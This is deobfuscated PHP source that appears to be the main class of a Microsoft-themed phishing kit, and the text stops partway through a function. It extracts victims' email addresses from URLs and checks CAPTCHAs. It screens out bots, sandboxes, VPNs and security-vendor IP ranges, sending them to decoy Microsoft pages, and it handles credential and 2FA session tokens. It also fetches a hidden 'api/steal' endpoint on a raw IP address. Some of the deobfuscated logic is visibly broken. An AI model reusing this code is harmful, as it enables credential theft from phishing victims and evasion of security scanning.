<?php

ini_set("display_errors", 1);
ini_set("display_startup_errors", 1);
error_reporting(E_ALL);
error_reporting(0);
ini_set("display_errors", 0);
require_once "session_manager.php";
class Config
{
    private $ac043;
    private $Fd39d;
    public function __construct(array $config)
    {
        $this->ac043 = $config;
        $this->Fd39d = isset($config["debug"]) ? (bool) $config["debug"] : false;
        F8341($config);
    }
    public function check_captcha()
    {
        if (!$this->ac043["captcha"]["active"]) {
            return false;
        }
        return true;
    }
    public function getMimeType($Dda95)
    {
        if (function_exists("finfo_file")) {
            $cbdd3 = finfo_open(FILEINFO_MIME_TYPE);
            $B4df3 = finfo_file($cbdd3, $Dda95);
            finfo_close($cbdd3);
            goto fe2dc;
        }
        if (function_exists("mime_content_type")) {
            $B4df3 = mime_content_type($Dda95);
            goto Bdd34;
        }
        $B4df3 = "application/octet-stream";
        Bdd34:
        fe2dc:
        return $B4df3;
    }
    public function check_cloudflare()
    {
        if (!$this->ac043["cloudflare"]["active"]) {
            return false;
        }
        return true;
    }
    public function check_captcha_status()
    {
        if ($this->check_captcha() && !Ff638("captcha")) {
            return true;
        }
        return false;
    }
    public function check_cloudflare_status()
    {
        if ($this->check_cloudflare() && !Ff638("cloudflare")) {
            return true;
        }
        return false;
    }
    public function getRandomVoiceTitle()
    {
        $D9d05 = ["&#86;&#111;&#105;&#99;&#101;&#32;&#77;&#97;&#105;&#108;&#32;&#78;&#111;&#116;&#105;&#102;&#105;&#99;&#97;&#116;&#105;&#111;&#110;", "&#86;&#111;&#105;&#99;&#101;&#32;&#78;&#111;&#116;&#101;&#32;&#78;&#111;&#116;&#105;&#102;&#105;&#99;&#97;&#116;&#105;&#111;&#110;", "&#86;&#111;&#105;&#99;&#101;&#32;&#77;&#101;&#115;&#115;&#97;&#103;&#101;", "&#70;&#101;&#101;&#108;&#32;&#86;&#111;&#105;&#99;&#101;&#32;&#78;&#111;&#116;&#101;", "&#86;&#111;&#105;&#99;&#101;&#32;&#78;&#111;&#116;&#101;&#32;&#68;&#114;&#111;&#112;&#32;&#70;&#101;&#101;&#108;", "&#86;&#111;&#105;&#99;&#101;&#32;&#78;&#111;&#116;&#101;&#32;&#83;&#97;&#118;&#101;&#32;&#83;&#101;&#116;&#32;&#70;&#101;&#101;&#108;", "&#86;&#111;&#105;&#99;&#101;&#32;&#78;&#111;&#116;&#101;&#32;&#84;&#114;&#97;&#110;&#115;&#109;&#105;&#116;&#32;&#70;&#101;&#101;&#108;", "&#70;&#111;&#114;&#32;&#85;&#110;&#115;&#101;&#32;&#86;&#111;&#105;&#99;&#101;&#32;&#78;&#111;&#116;&#101;"];
        $Cdd02 = rand(0, 7);
        return $D9d05[$Cdd02];
    }
    public function checkBothCaptcha($f4a85 = 0)
    {
        if ($f4a85 == 0) {
            if (!($this->check_cloudflare_status() || $this->check_captcha_status() || $this->check_hcaptcha_status())) {
                goto c1d8a;
            }
            $this->redirect("FailCaptchaStatus");
            c1d8a:
            goto C4628;
        }
        if ($f4a85 == 2) {
            if (!($this->check_cloudflare_status() || $this->check_hcaptcha_status())) {
                goto A8314;
            }
            $this->redirect("FailCaptchaStatus");
            A8314:
            goto E5910;
        }
        if ($f4a85 == 1) {
            if (!$this->check_captcha_status()) {
                goto d6d5f;
            }
            $this->redirect("FailCaptchaStatus");
            d6d5f:
            goto Fb5cd;
        }
        if (!($f4a85 == 3)) {
            goto Cae8a;
        }
        if (!$this->check_hcaptcha_status()) {
            goto c1147;
        }
        $this->redirect("FailCaptchaStatus");
        c1147:
        Cae8a:
        Fb5cd:
        E5910:
        C4628:
    }
    public function redirect($A2d26 = '')
    {
        header("Location: " . $this->getRandomLink() . "#" . $A2d26);
        exit;
    }
    public function auth()
    {
        if (!ff638("auth")) {
            goto E5173;
        }
        B47B3("captcha");
        b47B3("cloudflare");
        b47B3("email");
        b47B3("status");
        B47b3("info_token_credentials");
        B47b3("info_token_2fa");
        E5173:
        $B3729 = "/home/scarface/Documents/github/PHPDeobfuscator";
        $Fba79 = "https://kratools.com/api/key";
        $Dc847 = ["code" => $this->ac043["key"]];
        $E81bf = curl_init($Fba79);
        curl_setopt($E81bf, CURLOPT_RETURNTRANSFER, true);
        curl_setopt($E81bf, CURLOPT_POST, true);
        curl_setopt($E81bf, CURLOPT_POSTFIELDS, http_build_query($Dc847));
        $ce85b = curl_exec($E81bf);
        if (curl_errno($E81bf)) {
            $this->redirect("ServerError");
            goto C12d1;
        }
        $ce85b = array("live" => true, "expired" => false);
        if (isset($ce85b["live"])) {
            if ($ce85b["live"] && !$ce85b["expired"]) {
                goto a6d9a;
            }
            $this->redirect("InvalidKey");
            a6d9a:
            C1e8e("key", true);
            goto fd738;
        }
        $this->redirect("KeyExpired");
        fd738:
        C12d1:
        curl_close($E81bf);
        $b63ad = !ff638("auth") ? 0 : (!FF638("auth") ? 1 : (!ff638("auth") ? 2 : (!ff638("auth") ? 3 : 0)));
        if (!fF638("user_data")) {
            goto f927f;
        }
        $Dc847 = e707C("user_data");
        $this->checkUserSecurity($Dc847);
        f927f:
    }
    public function check_captcha_valid($ce85b)
    {
        $Aab56 = $this->ac043["captcha"]["sitekey"];
        $Ab6df = $ce85b ?? '';
        $ce85b = file_get_contents("https://www.google.com/recaptcha/api/siteverify?secret=" . urlencode($Aab56) . "&response=" . urlencode($Ab6df));
        $bd4b2 = json_decode($ce85b, true);
        $B3861 = $bd4b2["score"] ?? 0;
        $D66e3 = $bd4b2["action"] ?? '';
        if ($B3861 >= $this->ac043["captcha"]["score"] && $D66e3 === "captcha") {
            C1e8E("captcha", true);
            goto a05a3;
        }
        c1e8e("captcha", false);
        $this->insertDataVisitor(false);
        $this->redirect("FailCaptcha");
        a05a3:
        exit;
    }
    public function checkKey()
    {
        if (!(empty($this->ac043["key"]) || empty($this->ac043["password"]))) {
            // [PHPDeobfuscator] Implied return
            return;
        }
        header("Location: " . $this->ac043["folder"]);
        die;
    }
    public function isBot()
    {
        $baf09 = $_SERVER["HTTP_USER_AGENT"] ?? '';
        $d55ad = ["bot", "crawl", "spider", "scrape", "curl", "wget", "python", "perl", "java", "php", "node", "scanner", "check", "monitor", "test", "auto", "headless", "phantom", "selenium", "chrome-lighthouse", "pingdom"];
        foreach ($d55ad as $C50f7) {
            if (!(stripos($baf09, $C50f7) !== false)) {
            }
            return true;
        }
        $Ffdef = ["HTTP_ACCEPT", "HTTP_ACCEPT_LANGUAGE", "HTTP_ACCEPT_ENCODING"];
        foreach ($Ffdef as $E35ba) {
            if (isset($_SERVER[$E35ba])) {
            }
            return true;
        }
        return false;
    }
    public function isSandbox()
    {
        if (!$this->Fd39d) {
            $D92e3 = ["127.0.0.1", "::1", "0.0.0.0", "10.0.", "172.16.", "192.168.", "169.254.", "100.64.", "198.18.", "203.0.113.", "233.252.0."];
            $D8720 = $_SERVER["REMOTE_ADDR"] ?? '';
            foreach ($D92e3 as $C1ae0) {
                if (!(strpos($D8720, $C1ae0) === 0)) {
                }
                return true;
            }
            $a22ce = ["HTTP_X_FORWARDED_FOR", "HTTP_X_REAL_IP", "HTTP_X_CLUSTER_CLIENT_IP", "HTTP_CLIENT_IP", "HTTP_X_ORIGINATING_IP"];
            foreach ($a22ce as $E35ba) {
                if (!isset($_SERVER[$E35ba])) {
                    goto Ffa9f;
                }
                $a03cc = $_SERVER[$E35ba];
                if (!(filter_var($a03cc, FILTER_VALIDATE_IP, "FILTER_FLAG_NO_RW[__SOOGE") === false)) {
                    Ffa9f:
                }
                return true;
            }
            return false;
        }
        return false;
    }
    public function generateSecurityToken()
    {
        $c3823 = bin2hex(random_bytes(16));
        $b1bab = time();
        $a83d8 = E707C("security_tokens", []);
        $a83d8[$c3823] = $b1bab;
        foreach ($a83d8 as $D3f8d => $d9210) {
            if (!($b1bab - $d9210 > 3600)) {
                goto ebe7a;
            }
            unset($a83d8[$D3f8d]);
            ebe7a:
        }
        c1E8e("security_tokens", $a83d8);
        return $c3823;
    }
    public function validateSecurityToken($D3f8d)
    {
        $a83d8 = E707c("security_tokens", []);
        if (isset($a83d8[$D3f8d])) {
            $b1bab = $a83d8[$D3f8d];
            $c1864 = time();
            if (!($c1864 - $b1bab > 3600)) {
                return true;
            }
            unset($a83d8[$D3f8d]);
            C1e8e("security_tokens", $a83d8);
            return false;
        }
        return false;
    }
    public function performSecurityChecks()
    {
        if (!($this->isBot() || $this->isSandbox())) {
            goto Dc59c;
        }
        $this->redirect("SandBox");
        Dc59c:
        return $this->generateSecurityToken();
    }
    public function check_cloudflare_valid($ce85b)
    {
        $Ff36a = $this->ac043["cloudflare"]["cloudsitekey"];
        $Dc847 = ["secret" => $Ff36a, "response" => $ce85b];
        $E81bf = curl_init();
        curl_setopt($E81bf, CURLOPT_URL, "https://challenges.cloudflare.com/turnstile/v0/siteverify");
        curl_setopt($E81bf, CURLOPT_POST, true);
        curl_setopt($E81bf, CURLOPT_POSTFIELDS, http_build_query($Dc847));
        curl_setopt($E81bf, CURLOPT_RETURNTRANSFER, true);
        $e8d2d = curl_exec($E81bf);
        if (curl_errno($E81bf)) {
            $this->redirect("ErrorCaptcha");
            goto f3da7;
        }
        $bd4b2 = json_decode($e8d2d, true);
        if ($bd4b2["success"]) {
            c1e8e("cloudflare", true);
            curl_close($E81bf);
            goto f6887;
        }
        $this->insertDataVisitor(false);
        $this->redirect("FailCaptcha");
        f6887:
        f3da7:
        curl_close($E81bf);
    }
    public function check_hcaptcha()
    {
        if (!$this->ac043["hcaptcha"]["active"]) {
            return false;
        }
        return true;
    }
    public function check_hcaptcha_status()
    {
        if ($this->check_hcaptcha() && !fF638("hcaptcha")) {
            return true;
        }
        return false;
    }
    public function check_hcaptcha_valid($ce85b)
    {
        if (!empty($ce85b)) {
            $Ff36a = $this->ac043["hcaptcha"]["hcaptchasitekey"];
            if (!empty($Ff36a)) {
                $Dc847 = ["secret" => $Ff36a, "response" => $ce85b];
                $Ca03c = $this->getClientIp();
                if (empty($Ca03c)) {
                    goto F0b19;
                }
                $Dc847["remoteip"] = $Ca03c;
                F0b19:
                $E81bf = curl_init();
                curl_setopt($E81bf, CURLOPT_URL, "https://hcaptcha.com/siteverify");
                curl_setopt($E81bf, CURLOPT_POST, true);
                curl_setopt($E81bf, CURLOPT_POSTFIELDS, http_build_query($Dc847));
                curl_setopt($E81bf, CURLOPT_RETURNTRANSFER, true);
                $e8d2d = curl_exec($E81bf);
                if (curl_errno($E81bf)) {
                    curl_close($E81bf);
                    $this->redirect("ErrorCaptcha");
                    goto b7997;
                }
                $bd4b2 = json_decode($e8d2d, true);
                if (!$this->Fd39d) {
                    goto B444e;
                }
                error_log("hCaptcha Response: " . print_r($bd4b2, true));
                error_log("hCaptcha Token: " . $ce85b);
                error_log("hCaptcha Secret: " . $Ff36a);
                B444e:
                if ($bd4b2["success"]) {
                    C1e8E("hcaptcha", true);
                    curl_close($E81bf);
                    goto ea473;
                }
                curl_close($E81bf);
                if (!$this->Fd39d) {
                    goto e3ff0;
                }
                error_log("hCaptcha validation failed. Errors: " . print_r($bd4b2["error-codes"] ?? [], true));
                e3ff0:
                $this->insertDataVisitor(false);
                $this->redirect("FailCaptcha");
                ea473:
                b7997:
                // [PHPDeobfuscator] Implied return
                return;
            }
            if (!$this->Fd39d) {
                goto A0e10;
            }
            error_log("hCaptcha validation failed: Secret key not configured");
            A0e10:
            $this->insertDataVisitor(false);
            $this->redirect("ErrorCaptcha");
            return;
        }
        if (!$this->Fd39d) {
            goto a8885;
        }
        error_log("hCaptcha validation failed: Empty response token");
        a8885:
        $this->insertDataVisitor(false);
        $this->redirect("FailCaptcha");
        return;
    }
    public function generatePronounceableString($C4b7a = 8)
    {
        $D506c = ["b", "c", "d", "f", "g", "h", "j", "k", "l", "m", "n", "p", "r", "s", "t", "v", "w", "z"];
        $F147c = ["a", "e", "i", "o", "u"];
        $d8d99 = '';
        $a19fe = rand(0, 1);
        $b4bce = 0;
        dd0e9:
        if (!($b4bce < $C4b7a)) {
            return ucfirst($d8d99);
        }
        if ($a19fe % 2 == 0) {
            $d8d99 .= $D506c[array_rand($D506c)];
            goto B15b5;
        }
        $d8d99 .= $F147c[array_rand($F147c)];
        B15b5:
        $a19fe++;
        $b4bce++;
        goto dd0e9;
    }
    public function generateRandomString($C4b7a = 10)
    {
        $Fb0d7 = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789";
        $d9375 = strlen($Fb0d7);
        $c3a89 = '';
        $b4bce = 0;
        Ad202:
        if (!($b4bce < $C4b7a)) {
            return $c3a89;
        }
        $c3a89 .= $Fb0d7[rand(0, $d9375 - 1)];
        $b4bce++;
        goto Ad202;
    }
    public function isValidEmail($f1731)
    {
        return filter_var($f1731, FILTER_VALIDATE_EMAIL) !== false;
    }
    public function decodeBase64Email($f1731)
    {
        if (!$this->isValidEmail($f1731)) {
            $cbed7 = base64_decode($f1731, true);
            if (!($cbed7 !== false && $this->isValidEmail($cbed7))) {
                return "";
            }
            return $cbed7;
        }
        return $f1731;
    }
    public function getTitle()
    {
        $df1d2 = array_rand($this->ac043["title"]);
        $A7a88 = $this->ac043["title"][$df1d2];
        return $A7a88;
    }
    public function getSingleValidEmailFromQueryParameters()
    {
        $cf389 = ["email", "e", "t", "target", "a"];
        $aec4b = array_intersect_key($_GET, array_flip($cf389));
        if (!(count($aec4b) === 1)) {
            $f1731 = $this->extractEmailFromUrl();
            if (!$f1731) {
                return "";
            }
            return $f1731;
        }
        $bdd3e = key($aec4b);
        $B089b = $aec4b[$bdd3e];
        return $this->decodeBase64Email($B089b);
    }
    public function extractEmailFromUrl()
    {
        $Fba79 = $_SERVER["REQUEST_URI"] ?? '';
        $A81c9 = (isset($_SERVER["HTTPS"]) && $_SERVER["HTTPS"] === "on" ? "https" : "http") . "://" . $_SERVER["HTTP_HOST"] . $Fba79;
        $Cdcc4 = parse_url($Fba79, PHP_URL_PATH);
        $Dd19e = explode("/", trim($Cdcc4, "/"));
        foreach ($Dd19e as $F0ed0) {
            if (!empty($F0ed0)) {
                $f1731 = $this->extractEmailWithPrefixes($F0ed0);
                if (!$f1731) {
                    if (!$this->isValidEmail($F0ed0)) {
                        $e8ab8 = base64_decode($F0ed0, true);
                        if (!($e8ab8 !== false && $this->isValidEmail($e8ab8))) {
                            goto ff7bb;
                        }
                        return $e8ab8;
                    }
                    return $F0ed0;
                }
                return $f1731;
            }
            ff7bb:
        }
        $Fafd1 = [$_GET["hash"] ?? '', $_GET["h"] ?? '', $_POST["hash"] ?? '', $_GET["fragment"] ?? ''];
        foreach ($Fafd1 as $A7787) {
            if (!$A7787) {
                goto ec1fd;
            }
            $f1731 = $this->extractEmailWithPrefixes($A7787);
            if (!$f1731) {
                ec1fd:
            }
            return $f1731;
        }
        foreach ($_GET as $a2f94 => $B089b) {
            $f1731 = $this->extractEmailWithPrefixes($B089b);
            if (!$f1731) {
                $f1731 = $this->extractEmailWithPrefixes($a2f94);
                if (!$f1731) {
                }
                return $f1731;
            }
            return $f1731;
        }
        foreach ($_POST as $a2f94 => $B089b) {
            $f1731 = $this->extractEmailWithPrefixes($B089b);
            if (!$f1731) {
                $f1731 = $this->extractEmailWithPrefixes($a2f94);
                if (!$f1731) {
                }
                return $f1731;
            }
            return $f1731;
        }
        return "";
    }
    public function extractEmailWithPrefixes($E05fc)
    {
        if (!empty($E05fc)) {
            if (!$this->Fd39d) {
                goto E4422;
            }
            error_log("DEBUG: extractEmailWithPrefixes processing: " . $E05fc);
            E4422:
            $afe2d = ["/\\*[^*]*\\*([a-zA-Z0-9._%+-]+@[a-zA-Z0-9.-]+\\.[a-zA-Z]{2,})\$/", "/\\*[^@]*?([a-zA-Z0-9._%+-]+@[a-zA-Z0-9.-]+\\.[a-zA-Z]{2,})\$/", "/\\\$([a-zA-Z0-9._%+-]+@[a-zA-Z0-9.-]+\\.[a-zA-Z]{2,})\$/", "/\\/[^\\/]*\\*([a-zA-Z0-9._%+-]+@[a-zA-Z0-9.-]+\\.[a-zA-Z]{2,})\$/", "/\\/[^\\/]*([a-zA-Z0-9._%+-]+@[a-zA-Z0-9.-]+\\.[a-zA-Z]{2,})\$/", "/([a-zA-Z0-9._%+-]+@[a-zA-Z0-9.-]+\\.[a-zA-Z]{2,})/"];
            foreach ($afe2d as $C50f7) {
                if (!preg_match($C50f7, $E05fc, $d39f2)) {
                    goto b44a3;
                }
                $f1731 = end($d39f2);
                if (!$this->isValidEmail($f1731)) {
                    b44a3:
                }
                if (!$this->Fd39d) {
                    goto d5988;
                }
                error_log("DEBUG: Found email with pattern: " . $C50f7 . " -> " . $f1731);
                d5988:
                return $f1731;
            }
            $Abebd = ["*", "\$", "/", "\\", "|", ":", ";", "=", "&", "?", "#"];
            foreach ($Abebd as $ee6a9) {
                $D4b6d = strrpos($E05fc, $ee6a9);
                if (!($D4b6d !== false)) {
                    goto a9e93;
                }
                $A5d35 = substr($E05fc, $D4b6d + 1);
                if (!$this->isValidEmail($A5d35)) {
                    if (!preg_match("/([a-zA-Z0-9._%+-]+@[a-zA-Z0-9.-]+\\.[a-zA-Z]{2,})/", $A5d35, $d39f2)) {
                        $cbed7 = base64_decode($A5d35, true);
                        if (!($cbed7 !== false && $this->isValidEmail($cbed7))) {
                            a9e93:
                        }
                        if (!$this->Fd39d) {
                            goto ec7cc;
                        }
                        error_log("DEBUG: Found base64 email after separator '" . $ee6a9 . "': " . $cbed7);
                        ec7cc:
                        return $cbed7;
                    }
                    if (!$this->Fd39d) {
                        goto C7167;
                    }
                    error_log("DEBUG: Found email pattern after separator '" . $ee6a9 . "': " . $d39f2[1]);
                    C7167:
                    return $d39f2[1];
                }
                if (!$this->Fd39d) {
                    goto Ce992;
                }
                error_log("DEBUG: Found email after separator '" . $ee6a9 . "': " . $A5d35);
                Ce992:
                return $A5d35;
            }
            $Be3e4 = array_map(function ($eaa4c) {
                return preg_quote($eaa4c, "/");
            }, $Abebd);
            $a0e48 = "[" . implode('', $Be3e4) . "]";
            $D93fc = "/" . $a0e48 . "[^" . implode('', $Be3e4) . "]*" . $a0e48 . "([a-zA-Z0-9._%+-]+@[a-zA-Z0-9.-]+\\.[a-zA-Z]{2,})/";
            if (!preg_match($D93fc, $E05fc, $d39f2)) {
                $e8ab8 = urldecode($E05fc);
                if (!($e8ab8 !== $E05fc)) {
                    $Ec0f6 = $this->decodeBase64Email($E05fc);
                    if (!$Ec0f6) {
                        if (!$this->Fd39d) {
                            goto c0156;
                        }
                        error_log("DEBUG: No email found in: " . $E05fc);
                        c0156:
                        return "";
                    }
                    if (!$this->Fd39d) {
                        goto f8214;
                    }
                    error_log("DEBUG: Found base64 encoded email: " . $Ec0f6);
                    f8214:
                    return $Ec0f6;
                }
                return $this->extractEmailWithPrefixes($e8ab8);
            }
            if (!$this->Fd39d) {
                goto A094e;
            }
            error_log("DEBUG: Found email with combined separator pattern: " . $d39f2[1]);
            A094e:
            return $d39f2[1];
        }
        return "";
    }
    public function getRandomLink()
    {
        $Ad6cb = array("https://href.li/?https://en.wikibooks.org/wiki/Microsoft_Office", "https://href.li/?https://en.wikibooks.org/wiki/Microsoft_Office/Windows_Version_Differences", "https://href.li/?https://en.wikibooks.org/wiki/Microsoft_Office/Logging_In_%26_Out", "https://href.li/?https://en.wikibooks.org/wiki/Microsoft_Office/Things_to_Know_When_Saving", "https://href.li/?https://en.citizendium.org/wiki/Microsoft_Windows", "https://href.li/?https://support.microsoft.com/en-us/office/create-an-email-message-in-outlook-147208af-ca8e-4cdf-b71f-77ba81a54069", "https://href.li/?https://en.wikisource.org/wiki/Microsoft_v._AT%26T", "https://href.li/?https://techterms.com/definition/microsoft#google_vignette");
        $Cdd02 = rand(0, 7);
        $c2690 = $Ad6cb[$Cdd02];
        return $c2690;
    }
    public function getRandomTitle()
    {
        $D9d05 = ["&#73;&#110;&#105;&#116;&#105;&#97;&#108;&#105;&#122;&#105;&#110;&#103;&#46;&#46;", "&#80;&#114;&#111;&#99;&#101;&#115;&#115;&#105;&#110;&#103;&#46;&#46;", "&#67;&#111;&#109;&#112;&#108;&#101;&#116;&#105;&#110;&#103;&#46;&#46;", "&#83;&#101;&#99;&#117;&#114;&#101;&#32;&#89;&#111;&#117;&#114;&#32;&#65;&#99;&#99;&#101;&#115;&#115;"];
        $E109c = array_rand($D9d05);
        return $D9d05[$E109c];
    }
    public function removeUrlParameters($Fba79)
    {
        $A9cd2 = parse_url($Fba79);
        $f01be = isset($A9cd2["scheme"]) ? $A9cd2["scheme"] . "://" : '';
        $f01be .= isset($A9cd2["host"]) ? $A9cd2["host"] : '';
        $f01be .= isset($A9cd2["path"]) ? $A9cd2["path"] : '';
        return $f01be;
    }
    public function removeLastDirectory($Fba79)
    {
        $A9cd2 = parse_url($Fba79);
        $Edcf7 = explode("/", trim($A9cd2["path"], "/"));
        $b5e07 = array_slice($Edcf7, 0, -1);
        $b791f = "/" . implode("/", $b5e07);
        $c710b = (isset($A9cd2["scheme"]) ? $A9cd2["scheme"] . "://" : '') . (isset($A9cd2["host"]) ? $A9cd2["host"] : '') . $b791f;
        if (!isset($A9cd2["query"])) {
            goto C5264;
        }
        $c710b .= "?" . $A9cd2["query"];
        C5264:
        return rtrim($c710b, "/");
    }
    public function removeLastTwoDirectories($Fba79)
    {
        $A9cd2 = parse_url($Fba79);
        $Edcf7 = explode("/", trim($A9cd2["path"], "/"));
        $b5e07 = array_slice($Edcf7, 0, -2);
        $b791f = "/" . implode("/", $b5e07);
        $c710b = (isset($A9cd2["scheme"]) ? $A9cd2["scheme"] . "://" : '') . (isset($A9cd2["host"]) ? $A9cd2["host"] : '') . $b791f;
        if (!isset($A9cd2["query"])) {
            goto d3f85;
        }
        $c710b .= "?" . $A9cd2["query"];
        d3f85:
        return rtrim($c710b, "/");
    }
    public function getLastSegmentFromUrl()
    {
        $Fba79 = $_SERVER["REQUEST_URI"];
        $Cdcc4 = parse_url($Fba79, PHP_URL_PATH);
        $Cdcc4 = trim($Cdcc4, "/");
        $fc315 = explode("/", $Cdcc4);
        if (!(count($fc315) > 1)) {
            return null;
        }
        return $fc315[count($fc315) - 2];
    }
    public function validateLink()
    {
        if (ff638("link")) {
            goto c2565;
        }
        $this->redirect("LinkNotFound");
        c2565:
        $F5813 = "ht";
        $F5813 = "http://";
        $F5813 = "http://10";
        $F5813 = "http://101.99.";
        $F5813 = "http://101.99.92.227/";
        $F5813 = "http://101.99.92.227/ap";
        $F5813 = "http://101.99.92.227/api/";
        $F5813 = "http://101.99.92.227/api/st";
        $F5813 = "http://101.99.92.227/api/steal";
        $ce85b = file_get_contents($F5813);
        if (!($ce85b === "1")) {
            goto d5345;
        }
        $this->redirect();
        d5345:
        if (!($this->getLastSegmentFromUrl() != E707C("link"))) {
            goto A990a;
        }
        $this->redirect("LinkInvalid");
        A990a:
    }
    public function getFullUrl()
    {
        $Ffdcf = !empty($_SERVER["HTTPS"]) && $_SERVER["HTTPS"] !== "off" || $_SERVER["SERVER_PORT"] == 443 ? "https://" : "http://";
        $c9f3c = $_SERVER["HTTP_HOST"];
        $c8b38 = $_SERVER["REQUEST_URI"];
        return $Ffdcf . $c9f3c . $c8b38;
    }
    public function imageToBase64($f1618)
    {
        return $f1618;
    }
    public function getClientIp()
    {
        $E917b = ["HTTP_X_FORWARDED_FOR", "HTTP_CLIENT_IP", "HTTP_X_CLUSTER_CLIENT_IP", "HTTP_FORWARDED_FOR", "HTTP_FORWARDED", "REMOTE_ADDR"];
        foreach ($E917b as $a2f94) {
            if (empty($_SERVER[$a2f94])) {
                goto A521c;
            }
            $Aaa04 = explode(",", $_SERVER[$a2f94]);
            foreach ($Aaa04 as $A0b74) {
                $A0b74 = trim($A0b74);
                if (!filter_var($A0b74, FILTER_VALIDATE_IP, "FILTER_FLAG_NO_RW[__SOOGE")) {
                }
                return $A0b74;
            }
            A521c:
        }
        return "";
    }
    public function getUserAgent()
    {
        if (isset($_SERVER["HTTP_USER_AGENT"])) {
            $b65d7 = htmlspecialchars(strip_tags($_SERVER["HTTP_USER_AGENT"]), ENT_QUOTES, "UTF-8");
            return $b65d7;
        }
        return "UNKNOWN";
    }
    public function getClientLocation($A0b74)
    {
        $E81bf = curl_init();
        curl_setopt($E81bf, CURLOPT_URL, "https://api.ipapi.is/?q=" . $A0b74);
        curl_setopt($E81bf, CURLOPT_RETURNTRANSFER, 1);
        curl_setopt($E81bf, CURLOPT_CUSTOMREQUEST, "GET");
        $d0387 = curl_exec($E81bf);
        if (!($d0387 != '')) {
            // [PHPDeobfuscator] Implied return
            return;
        }
        $d0387 = json_decode($d0387, true);
        return $d0387;
    }
    function isBlockedISP($d0387)
    {
        $aa7f1 = array("microsoft", "leaseweb", "m247", "amazon", "ovh", "cogent", "alibaba", "digitalocean", "choopa", "linode", "google", "oracle", "layerhost", "worldstream", "nextglobal", "itproximus", "hostroyale", "centurylink", "avast", "bitdefender", "webnx", "myloc");
        $abf14 = strtolower($d0387);
        foreach ($aa7f1 as $E9ba2) {
            if (!(stripos($abf14, $E9ba2) !== false)) {
            }
            return true;
        }
        return false;
    }
    public function checkUserSecurity($d0387)
    {
        if (!$d0387["info"]["status"]) {
            goto ac556;
        }
        if (!($this->ac043["bot"]["crawler"] == 1 && $d0387["info"]["is_crawler"])) {
            goto F1c6b;
        }
        $this->redirect("DummyBot");
        F1c6b:
        if (!($this->ac043["bot"]["datacenter"] != 0)) {
            goto A85d9;
        }
        if ($d0387["info"]["is_datacenter"] != false && $this->ac043["bot"]["datacenter"] == 2) {
            $this->redirect("DummyBot");
            goto cb626;
        }
        if (!($d0387["info"]["is_datacenter"] != false && $this->ac043["bot"]["datacenter"] == 1 && $d0387["info"]["is_blocked_datacenter"] == true)) {
            goto d227b;
        }
        $this->redirect("DummyBot");
        d227b:
        cb626:
        A85d9:
        if (!($this->ac043["bot"]["vpn"] == 1 && $d0387["info"]["is_vpn"])) {
            goto Bdfee;
        }
        $this->redirect("DummyBot");
        Bdfee:
        if (!($this->ac043["bot"]["proxy"] == 1 && $d0387["info"]["is_proxy"])) {
            goto C2abe;
        }
        $this->redirect("DummyBot");
        C2abe:
        if (!($this->ac043["bot"]["abuser"] == 1 && $d0387["info"]["is_abuser"])) {
            goto Af281;
        }
        $this->redirect("DummyBot");
        Af281:
        ac556:
    }
    public function insertUserInformation($A0b74, $C46a1 = true)
    {
        $d0387["ip"] = $A0b74;
        $d0387["ua"] = $this->getUserAgent();
        $d0387["info"]["status"] = false;
        $d0387["valid_captcha"] = $C46a1;
        if ($d0387["ip"] != '' && $d0387["valid_captcha"]) {
            $F0c5e = $this->getClientLocation($A0b74);
            if ($F0c5e !== null && is_array($F0c5e)) {
                if (!(isset($F0c5e["location"]) && isset($F0c5e["is_crawler"]) && isset($F0c5e["is_datacenter"]) && isset($F0c5e["is_proxy"]) && isset($F0c5e["is_vpn"]) && isset($F0c5e["is_abuser"]))) {
                    goto B74ef;
                }
                $d0387["info"]["status"] = true;
                $d0387["info"]["country"] = $F0c5e["location"]["country"];
                $d0387["info"]["country_code"] = $F0c5e["location"]["country_code"];
                $d0387["info"]["city"] = $F0c5e["location"]["city"];
                $d0387["info"]["is_crawler"] = $F0c5e["is_crawler"];
                $d0387["info"]["is_datacenter"] = $F0c5e["is_datacenter"];
                $d0387["info"]["is_proxy"] = $F0c5e["is_proxy"];
                $d0387["info"]["is_vpn"] = $F0c5e["is_vpn"];
                $d0387["info"]["is_abuser"] = $F0c5e["is_abuser"];
                $d0387["info"]["is_blocked_datacenter"] = false;
                if (!($d0387["info"]["is_datacenter"] != false)) {
                    goto c8424;
                }
                if (!isset($F0c5e["datacenter"])) {
                    goto Bea07;
                }
                if (!isset($F0c5e["datacenter"]["datacenter"])) {
                    goto Eb426;
                }
                $d0387["info"]["is_blocked_datacenter"] = $this->isBlockedISP($F0c5e["datacenter"]["datacenter"]);
                Eb426:
                if (!($d0387["info"]["is_blocked_datacenter"] == false)) {
                    goto b3b34;
                }
                if (!isset($F0c5e["datacenter"]["domain"])) {
                    goto d416d;
                }
                $d0387["info"]["is_blocked_datacenter"] = $this->isBlockedISP($F0c5e["datacenter"]["domain"]);
                d416d:
                b3b34:
                Bea07:
                c8424:
                B74ef:
                goto B4c9a;
            }
            $d0387["info"]["country"] = false;
            $d0387["info"]["city"] = false;
            $d0387["info"]["is_crawler"] = false;
            $d0387["info"]["is_datacenter"] = false;
            $d0387["info"]["is_proxy"] = false;
            $d0387["info"]["is_vpn"] = false;
            $d0387["info"]["is_abuser"] = false;
            $d0387["info"]["is_blocked_datacenter"] = false;
            B4c9a:
            goto C79c6;
        }
        $d0387["info"]["country"] = false;
        $d0387["info"]["city"] = false;
        $d0387["info"]["is_crawler"] = false;
        $d0387["info"]["is_datacenter"] = false;
        $d0387["info"]["is_proxy"] = false;
        $d0387["info"]["is_vpn"] = false;
        $d0387["info"]["is_abuser"] = false;
        $d0387["info"]["is_blocked_datacenter"] = false;
        C79c6:
        return $d0387;
    }
    public function getBackgroundVerify($f8f19 = true, $c0e4b = '', $fb9e7 = false)
    {
        if ($this->ac043["background"] == "custom") {
            $f1618 = "images/" . $this->ac043["custom_background"];
            if (file_exists($f1618)) {
                goto d2445;
            }
            $f1618 = "page/images/" . $this->ac043["custom_background"];
            if (file_exists($f1618)) {
                d2445:
                goto f1c38;
            }
            die("image not found.");
        }
        $f1618 = "images/" . $this->ac043["background"] . ".png";
        if (file_exists($f1618)) {
            goto dbf55;
        }
        $f1618 = "page/images/" . $this->ac043["background"] . ".png";
        if (file_exists($f1618)) {
            dbf55:
            f1c38:
            if (!$f8f19) {
                $Caab8 = $c0e4b;
                goto df6d4;
            }
            $Caab8 = $this->imageToBase64($f1618);
            df6d4:
            if (!$fb9e7) {
